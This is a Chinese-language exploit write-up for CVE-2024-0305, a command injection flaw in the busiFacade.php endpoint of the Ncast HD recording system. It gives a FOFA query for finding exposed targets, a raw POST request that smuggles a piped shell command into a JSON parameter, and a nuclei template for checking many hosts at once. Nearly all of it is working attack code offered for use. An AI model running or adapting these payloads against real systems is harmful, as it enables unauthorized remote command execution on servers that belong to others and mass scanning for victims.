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漏洞描述
Ncast盈可视高清智能录播系统是一套新进的音视频录制和播放系统,旨在提供高质量,高清定制的录播功能。该系统/classes/common/busiFacade.php接口存在RCE漏洞,攻击者可以构造恶意命令远控服务器。
fofa语句
app="Ncast-产品" && title=="高清智能录播系统"
漏洞复现
打开页面
构造payload
POST /classes/common/busiFacade.php HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Connection: close
Content-Length: 152
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
%7B%22name%22:%22ping%22,%22serviceName%22:%22SysManager%22,%22userTransaction%22:false,%22param%22:%5B%22ping%20127.0.0.1%20%7C%20echo%20hello%22%5D%7D
nuclei批量验证
id: Ncat-RCE-CVE-2024-0305
info:
name: Ncast盈可视高清智能录播系统busiFacade RCE漏洞
author: fgz
severity: critical
description: Ncast盈可视高清智能录播系统是一套新进的音视频录制和播放系统。该系统/classes/common/busiFacade.php接口存在RCE漏洞。
metadata:
max-request: 1
fofa-query: app="Ncast-产品" && title=="高清智能录播系统"
verified: true
http:
- raw:
- |-
POST /classes/common/busiFacade.php HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Connection: close
Content-Length: 91
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
{"name":"ping","serviceName":"SysManager","userTransaction":false,"param":["| echo hello"]}
matchers-condition: and
matchers:
- type: word
part: body
words:
- hello
- type: status
status:
- 200